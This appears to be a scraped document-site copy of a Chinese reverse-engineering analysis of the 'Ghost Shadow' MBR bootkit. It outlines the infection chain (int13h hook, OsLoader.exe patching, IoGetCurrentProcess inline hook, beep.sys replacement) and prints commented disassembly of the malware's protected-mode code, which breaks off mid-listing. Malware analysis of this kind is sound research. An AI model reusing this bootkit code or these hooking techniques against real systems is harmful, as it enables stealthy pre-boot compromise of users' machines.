鬼影病毒.docx
《鬼影病毒.docx》由会员分享,可在线阅读,更多相关《鬼影病毒.docx(35页珍藏版)》请在冰豆网上搜索。
![鬼影病毒.docx](https://file1.bdocx.com/fileroot1/2023-1/29/b58f9ef8-d615-4b41-aaed-e8a0a95d708c/b58f9ef8-d615-4b41-aaed-e8a0a95d708c1.gif)
鬼影病毒
代码执行过程
1.首先VirusMbr复制自身到内存当中,然后跳过去复制的内存当中执行.
2.通过int13h的扩展读功能把病毒写在硬盘当中的内容复制到内存里,主要复制的是加密部分,包括保护模式代码,Hello_tt.sys和加密的系统原Mbr
3.接下来对内存当中的加密内容进行解密,这样系统原Mbr也解密出来了
4.对int13h中断进行hook,之后把系统原Mbr加载到内存0x7c00处,返回执行系统原Mbr指令
5.由于hook了int13h中断,对于2h和42h子功能进行过滤,但系统加载ntldr文件的时候,对OsLoader.exe进行hook,科普一下,ntldr=S(16位)+OsLoader.exe(PE文件,32位)
6.通过查找指定序列签名HookOsLoader.exe,主要挂钩的地方是_BlLoadBootDriver@12处的下一句代码,之后OsLoader.exe执行的时候病毒会再次获得控制权
7.当病毒再次获取到控制权,此时系统已近通过S切换到保护模式下了,这部分代码的详细注解后面给出,病毒搜索OsLoader.exe的代码空间,获取_BlLoaderBlock地址,如图1
图1,红框圈起来是搜索代码的表示,最终获取的是415921A1后的4个字节,即_BlLoaderBlock地址
8.获取了_BlLoaderBlock之后,通过该结构得到ntoskrnl.exe的加载基址,查找IoGetCurrentProcess,对该函数进行InlineHook,修改函数头部5字节,之后返回OsLoader.exe继续执行
9.当系统调用IoGetCurrentPorcess的时候病毒重新获得控制权,此时病毒把自身复制到内核共享用户数据区当中(FFDF0800h处开始),然后跳转过去继续执行.
10.病毒对IoGetCurrentProcess的InlineHook进行恢复,之后通过创建一个系统线程对beep.sys进行替换工作.这样就能保证病毒在操作系统完全加载之前获得执行权限了
上面说的过程只是大概,具体可以参考详细的反汇编代码,有详细的注释^_^
下面是保护模式部分的反汇编代码
[cpp] viewplaincopy
1./*++
2.@file VirusProtectMode.asm
3.@auth GaA.Ra
4.@date 2011.7.9
5.--*/
6.
7./*
8.seg000:
00000000 ;
9.seg000:
00000000 ; +-------------------------------------------------------------------------+
10.seg000:
00000000 ; | This file has been generated by The Interactive Disassembler (IDA) |
11.seg000:
00000000 ; | Copyright (c) 2011 Hex-Rays, |
12.seg000:
00000000 ; | License info:
B3-432E-F558-21 |
13.seg000:
00000000 ; | Ilfak Guilfanov |
14.seg000:
00000000 ; +-------------------------------------------------------------------------+
15.seg000:
00000000 ;
16.seg000:
00000000 ; Input MD5 :
737381F9C678B050E5399CB283B0E6F9
17.seg000:
00000000 ; Input CRC32 :
D3822E1D
18.seg000:
00000000
19.seg000:
00000000 ; File Name :
D:
\SourceLib\MyCode\TestProj\ReverseEng\鬼影3样本\VirusMbr_Next.bin
20.seg000:
00000000 ; Format :
Binary file
21.seg000:
00000000 ; Base Address:
0000h Range:
0000h - 02D5h Loaded length:
02D5h
22.seg000:
00000000
23.seg000:
00000000 include uni.inc ; see unicode subdir of ida for info on unicode
24.seg000:
00000000
25.seg000:
00000000 .686p
26.seg000:
00000000 .mmx
27.seg000:
00000000 .model flat
28.seg000:
00000000
29.seg000:
00000000 ; ===========================================================================
30.seg000:
00000000
31.seg000:
00000000 ; Segment type:
Pure code
32.seg000:
00000000 seg000 segment byte public 'CODE' use32
33.seg000:
00000000 assume cs:
seg000
34.seg000:
00000000 assume es:
nothing, ss:
nothing, ds:
nothing, fs:
nothing, gs:
nothing
35.seg000:
00000000 dd 9C204h ; ntldr hook call address
36.seg000:
00000004 ; ---------------------------------------------------------------------------
37.seg000:
00000004 pushf
38.seg000:
00000005 pusha
39.seg000:
00000006 mov edi, [esp+24h] ; [ESP+24h]为EIP,指向OsLoader
40.seg000:
00000006 ; 存到EDI调整后供搜索使用
41.seg000:
0000000A and edi, 0FFF00000h ; 将EDI调整为镜像基址
42.seg000:
00000010 cld
43.seg000:
00000011 mov al, 0C7h ; ' ; 搜索标志40003446h的前一个字节,可以参考图片
44.seg000:
00000013
45.seg000:
00000013 @ModuleList_SigLoop:
; CODE XREF:
seg000:
00000014↓j
46.seg000:
00000013 ; seg000:
0000001C↓j
47.seg000:
00000013 scasb ; 将edi与al进行比较,每次执行后edi+1
48.seg000:
00000014 jnz short @ModuleList_SigLoop
49.seg000:
00000016 cmp dword ptr [edi], 40003446h ; 搜索标志,具体代码可以参考图片
50.seg000:
0000001C jnz short @ModuleList_SigLoop
51.seg000:
0000001E mov al, 0A1h ; ' ; 下一句代码是把_BlLoaderBlock写入EAX
52.seg000:
0000001E ; 搜索这句代码机器码的第一个字节,之后
53.seg000:
0000001E ; 的便是_BlLoaderBlock地址
54.seg000:
0000001E ; A1h/xx/xx/xx/xx:
MOV EAX, [xxxxxxxx]
55.seg000:
00000020
56.seg000:
00000020 @ModuleList_BaseAddrLoop:
; CODE XREF:
seg000:
00000021↓j
57.seg000:
00000020 scasb
58.seg000:
00000021 jnz short @ModuleList_BaseAddrLoop
59.seg000:
00000023 mov esi, [edi] ; ESI <- LIST_ENTRY
60.seg000:
00000023 ; struct _BlLoaderBlock
61.seg000:
00000023 ; {
62.seg000:
00000023 ; +00h LIST_ENTRY module list links
63.seg000:
00000023 ; +08h [10h] ?
?
?
64.seg000:
00000023 ; +18h PTR image base address
65.seg000:
00000023 ; +1Ch PTR module entry point
66.seg000:
00000023 ; +20h DWORD size of loaded module in memory
67.seg000:
00000023 ; +24h UNICODE_STRING full module path and file name
68.seg000:
00000023 ; +2Ch UNICODE_STRING module file name
69.seg000:
00000023 ; };
70.seg000:
00000025 mov esi, [esi] ; ESI <- 链表上第一个节点,应该是头节点List_Head
71.seg000:
00000027 lodsd ; 获取第二个节点,存入EAX(第一个有效的节点)
72.seg000:
00000028 mov ebx, [eax+18h] ; EBX <- Image Base Address
73.seg000:
0000002B call OverHookFunc ; 调用OverHookFunc之后会直接返回
74.seg000:
0000002B ; OsLoader.exe的执行流程当中
75.seg000:
00000030 sub dword ptr [esp], 5 ; @IoGetCurrentProcessHook起始地址
76.seg000:
00000030 ; 这部分代码将会被写入Ntoskrnl.exe
77.seg000:
00000030 ; 内存镜像当中,代码长度0x37
78.seg000:
00000037 pusha ;
79.seg000:
00000037 ; 下面部分的代码完成的功能主要是
80.seg000:
00000037 ; 修改固定页表的第一页地址,改成Mbr
81.seg000:
00000037 ; 之前申请的内存空间,Mbr当中已经
82.seg000:
00000037 ; 考虑了4KB对齐问题,之后把代码复制
83.seg000:
00000037 ; 300h直接到用户共享数据区地址是
84.seg000:
00000037 ; FFDF0800h,之后返回到FFDF08AF继续
85.seg000:
00000037 ; 执行
86.seg000:
00000038 mov eax, 9C001h ; 我们的代码当前所在物理内存位置是9C001开始
87.seg000:
0000003D xor ecx, ecx
88.seg000:
0000003F mov ch, 3 ; cx = 300h, 代码长度300h
89.seg000:
00000041 mov edx, 0C0000000h ; 固定页表的第一个表项
90.seg000:
00000046 mov esi, 200h ; Mbr当中已经做过4KB对齐,
91.seg000:
00000046 ; 现在代码地址在9C200
92.seg000:
0000004B mov edi, 0FFDF0800h ; 内核当中共享用户数据区地址
93.seg000:
00000050 xchg eax, [edx] ; 修改第一个页表地址到9C001
94.seg000:
00000052 wbinvd ; 特权指令,使CACHE失效,目的应该是把
95.seg000:
00000052 ; 数据写到内存里,避免在CPU的缓存当中
96.seg000:
00000054 rep movsb ; 拷贝数据过去FFDF0800h
97.seg000:
00000056 mov [edx], eax ; 恢复固定页表的第一个表项
98.seg000:
00000058 wbinvd
99.seg000:
0000005A push 0 ; 这句代码已经在Hook函数当中做过修改
100.seg000:
0000005C push 0 ; 这句代码已经在Hook函数当中做过修改
101.seg000:
00000061 push 0FFDF08AFh ; 返回到FFDF08AFh继续执行病毒代码
102.seg000:
00000066 retn
103.seg000:
00000067
104.seg000:
00000067 ; =============== S U B R O U T I N E =======================================
105.seg000:
00000067
106.seg000:
00000067
107.seg000:
00000067 OverHookFunc proc near ; CODE XREF:
seg000:
0000002B↑p
108.seg000:
00000067
109.seg000:
00000067 arg_24 = dword ptr 28h
110.seg000:
00000067
111.seg000:
00000067 pop esi ; call过来的,堆栈上是函数返回地址
112.seg000:
00000067 ; 也就是ESI为@IoGetCurrentProcessHook的起始地址
113.seg000:
00000068 mov ecx, 37h ; '7' ; @IoGetCurrentProcessHook函数的代码长度,这里是硬编码37h
114.seg000:
0000006D mov [esi+204h], ebx ; EBX:
Image Base Address
115.seg000:
0000006D ; 把EBX写入@IoGetCurrentProcessHook+204h
116.seg000:
0000006D ; 234h处,修改代码写入镜像基址,如图2
117.seg000:
00000073 lea edi, [ebx+40h] ; EDI <- Image Base Address + 40h
118.seg000:
00000076 mov ebp, edi ; 保存@IoGetCurrentProcessHook地址后面使用
119.seg000:
00000078 rep movsb ; 把@IoGetCurrentProcessHook的代
120.seg000:
00000078 ; 码写入ImageBaseAddress+40h处
121.seg000:
0000007A push 0CE8C3177h ; Hash:
IoGetCurrentProcess
122.seg000:
0000007A ; 要查找的函数名32位HASH值
123.seg000:
0000007F call @GetExport
124.seg000:
00000084 xchg eax, esi
125.seg000:
00000085 sub edi, 0Ah
126.seg000:
0000008B movsd
127.se